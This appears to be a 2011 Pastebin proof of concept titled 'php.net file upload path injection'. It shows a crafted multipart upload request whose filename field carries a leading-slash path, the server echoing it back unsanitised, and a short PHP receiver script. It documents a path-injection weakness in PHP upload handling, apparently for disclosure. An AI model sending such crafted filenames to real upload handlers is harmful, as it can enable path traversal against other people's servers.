SHARE
    TWEET
    Guest User

    php.net file upload path injection

    a guest
    May 27th, 2011
    11,939
    0
    Never
    Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
    text 0.80 KB | None | 0 0
    1. HTTP Request:
    2. ====
    3. POST /file-upload-fuzz/recv_dump.php HTTP/1.0
    4. host: blog.security.localhost
    5. content-type: multipart/form-data; boundary=----------ThIs_Is_tHe_bouNdaRY_$
    6. content-length: 200
    7. ------------ThIs_Is_tHe_bouNdaRY_$
    8. Content-Disposition: form-data; name="contents"; filename="/anything.here.slash-will-pass";
    9. Content-Type: text/plain
    10. any
    11. ------------ThIs_Is_tHe_bouNdaRY_$--
    12. HTTP Response:
    13. ====
    14. HTTP/1.1 200 OK
    15. Date: 2011年5月27日 11:35:08 GMT
    16. Server: Apache/2.2.14 (Ubuntu)
    17. X-Powered-By: PHP/5.3.2-1ubuntu4.9
    18. Content-Length: 30
    19. Connection: close
    20. Content-Type: text/html
    21. /anything.here.slash-will-pass
    22. PHP script:
    23. =====
    24. <?php
    25. if (!empty($_FILES['contents'])) { // process file upload
    26. echo $_FILES['contents']['name'];
    27. unlink($_FILES['contents']['tmp_name']);
    28. }
    Advertisement
    Add Comment
    Please, Sign In to add comment
    Public Pastes
    We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
    Not a member of Pastebin yet?
    Sign Up, it unlocks many cool features!

    AltStyle によって変換されたページ (->オリジナル) /